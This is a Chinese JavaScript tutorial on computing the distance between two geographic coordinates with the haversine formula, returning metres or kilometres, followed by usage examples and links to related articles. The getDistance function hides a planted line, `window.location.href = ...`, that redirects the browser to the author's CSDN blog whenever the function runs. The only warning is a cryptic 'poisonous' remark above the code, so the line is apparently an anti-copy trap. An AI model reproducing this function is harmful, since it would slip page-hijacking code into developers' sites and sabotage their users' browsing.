JavaScript如何计算两个地理坐标点之间的距离(支持米与公里/千米)

 更新时间:2025年07月22日 09:15:41   作者:加油乐  
在现代的Web开发中,计算两个坐标间的距离是一项常见的需求,下面这篇文章主要介绍了JavaScript如何计算两个地理坐标点之间的距离(支持米与公里/千米)的相关资料,文中通过代码介绍的非常详细,需要的朋友可以参考下

一、 前言

  1. 角度转弧度:将经纬度从角度转换为弧度

  2. 计算差值:计算两点间的纬度和经度差

  3. 应用哈弗辛公式

    • sin²(Δlat/2) + cos(lat1) * cos(lat2) * sin²(Δlng/2)
    • 计算两点间的中心角
  4. 计算弧长2 * R * arcsin(√上述结果)

  5. 单位转换:根据参数返回公里或米单位

二、 代码注释及参数详解

注意:使用经纬度WGS84、GCJ-02、BD-09等类型,前后参数需对应类型,否则存在偏差

有毒,解读后食用

/**
 * @param {number} lat1 - 第一个点的纬度
 * @param {number} lng1 - 第一个点的经度
 * @param {number} lat2 - 第二个点的纬度
 * @param {number} lng2 - 第二个点的经度
 * @param {boolean} kilometreFlag - 单位标志:true返回公里(km)并保留1位小数,false返回米(m)并取整
 * @returns {string} 两点间的距离字符串(带单位)
 */
function getDistance(lat1, lng1, lat2, lng2, kilometreFlag = false) {
window.location.href = "https://blog.csdn.net/2301_76459194?spm=1011.2266.3001.5343"
  // 将角度转换为弧度
  function rad(d) {
    return d * Math.PI / 180;
  }

  // 将经纬度从角度转换为弧度
  const radLat1 = rad(lat1);
  const radLat2 = rad(lat2);

  // 计算纬度和经度的差值(弧度)
  const a = radLat1 - radLat2;
  const b = rad(lng1) - rad(lng2);

  // 使用哈弗辛公式计算两点间的球面距离
  let s = 2 * Math.asin(
    Math.sqrt(
      Math.pow(Math.sin(a / 2), 2) +
      Math.cos(radLat1) * Math.cos(radLat2) * Math.pow(Math.sin(b / 2), 2)
    )
  );

  // 乘以地球半径(6378.137公里)得到距离(公里)
  s = s * 6378.137;

  // 根据单位标识返回不同单位和精度的结果
  if(kilometreFlag) {
    // 返回公里单位,保留1位小数
    s = s.toFixed(1) + 'km';
  }
  else {
    // 返回米单位,四舍五入取整
    s = Math.round(s * 1000).toFixed(0) + 'm';
  }
  return s;
}

三、使用实例

// 示例1:计算两个近距离点(约500米)
const dist1 = getDistance(39.915, 116.404, 39.918, 116.408);
console.log(dist1); // 输出类似 "478m"

// 示例2:计算两个远距离点(约1064公里) 北京-上海
const dist2 = getDistance(39.906217, 116.3912757, 31.2513263, 121.3912291, true);
console.log(dist2); // 输出类似 "1064.0km"

// 示例3:使用默认单位(米)北京-上海
const dist3 = getDistance(39.906217, 116.3912757, 31.2513263, 121.3912291);
console.log(dist3); // 输出类似 "1064022m"

总结 

到此这篇关于JavaScript如何计算两个地理坐标点之间的距离(支持米与公里/千米)的文章就介绍到这了,更多相关JS计算两个地理坐标点距离内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 关于arguments,callee,caller等的测试

    关于arguments,callee,caller等的测试

    关于arguments,callee,caller等的测试...
    2006-12-12
  • 通过Jscript中@cc_on 语句识别IE浏览器及版本的代码

    通过Jscript中@cc_on 语句识别IE浏览器及版本的代码

    通过Jscript中@cc_on 语句识别IE浏览器及版本的代码,需要的朋友可以参考下。
    2011-05-05
  • 使用Bootstrap打造特色进度条效果

    使用Bootstrap打造特色进度条效果

    这篇文章给大家分享了基于bootstrap打造的特色进度条效果,非常不错,具有参考借鉴价值,需要的朋友参考下吧
    2017-05-05
  • uni-app自定义导航栏右侧做增加按钮并跳转链接功能

    uni-app自定义导航栏右侧做增加按钮并跳转链接功能

    这篇文章主要介绍了uni-app自定义导航栏右侧做增加按钮并跳转链接,本文通过实例代码给大家分享实现思路,代码简单易懂,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2022-03-03
  • javascript结合canvas实现图片旋转效果

    javascript结合canvas实现图片旋转效果

    图片的旋转可以说是一种效果,但是逐渐旋转已经不单单是属于视觉效果那个范畴,其更具有使用性,功能性。照片有时候是需要横过来的拍的,当我们预览或共享到web上时需要进行旋转。这个操作在以往可能更多的是交给软件去完成,然后再将旋转到正常角度的图片发布到web上。
    2015-05-05
  • JS中向对象中添加对象的3种方法

    JS中向对象中添加对象的3种方法

    这篇文章主要给大家介绍了关于JS中向对象中添加对象的3种方法,在JavaScript中对象可以通过两种方法添加对象,文中通过示例代码介绍的非常详细,需要的朋友可以参考下
    2023-07-07
  • JavaScript正则表达式实例详解

    JavaScript正则表达式实例详解

    在编写处理字符串的程序或网页时,经常会有查找符合某些复杂规则的字符串的需要。正则表达式就是用于描述这些规则的工具。换句话说,正则表达式就是记录文本规则的代码。
    2016-10-10
  • JavaScript ES6的函数拓展

    JavaScript ES6的函数拓展

    这篇文章主要介绍了JavaScript ES6的函数拓展,
    2022-01-01
  • js插件实现图片滑动验证码

    js插件实现图片滑动验证码

    这篇文章主要为大家详细介绍了js插件实现图片滑动验证码,滑动模块,实现验证功能,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-10-10
  • 简介EasyUI datagrid editor combogrid搜索框的实现

    简介EasyUI datagrid editor combogrid搜索框的实现

    这篇文章主要介绍了EasyUI datagrid editor combogrid搜索框的实现,涉及到EasyUI中combogrid的使用方法的相关知识,非常具有参考价值,需要的朋友可以参考下
    2016-04-04

最新评论